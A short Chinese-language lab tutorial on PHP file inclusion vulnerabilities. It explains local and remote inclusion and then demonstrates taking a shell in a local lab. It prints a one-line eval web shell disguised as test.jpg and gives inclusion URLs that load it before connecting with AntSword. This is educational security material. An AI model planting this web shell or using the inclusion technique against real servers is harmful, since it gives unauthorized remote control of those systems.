文件包含漏洞
前言
一、什么是文件包含漏洞
服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的。
二、文件包含漏洞获取shell
1.文件包含漏洞的分类
文件包含漏洞分为本地包含和远程包含。
包含函数有以下几种类型
include(),include_once(),require(),requie_once()
远程包含漏洞
需要allow_url_include=on
magic_quotes_gpc=off
2.利用漏洞获取shell
我们进行演示一下什么是文件包含漏洞
首先我们在phpstudy的www目录下创建一个include目录,放入两个文件
包含一个包含代码的ok.php和一句话木马test.jpg文件
我们来看一下文件里的代码
这是ok.php的代码
这是test.jpg的一句话木马代码
<?php @eval($_POST['chopper']); ?>我们进行利用漏洞
首先我们进行本地包含演示
http://192.168.222.4/include/ok.php?page=test.jpg(本地)
发现打开了,我们进行复制网址到蚁剑连接
连接成功,获取shell成功。
我们在进行远程包含漏洞演示
http://192.168.222.4/include/ok.php?page=http://192.168.222.4/include/test.jpg(远程)
打开了,我们进行复制网址到蚁剑连接
连接成功,获取shell成功,实验结束。
总结
本次实验简单讲述了文件包含漏洞的原理和利用,后续会讲述日志包含和php文件读写获取shell的方法。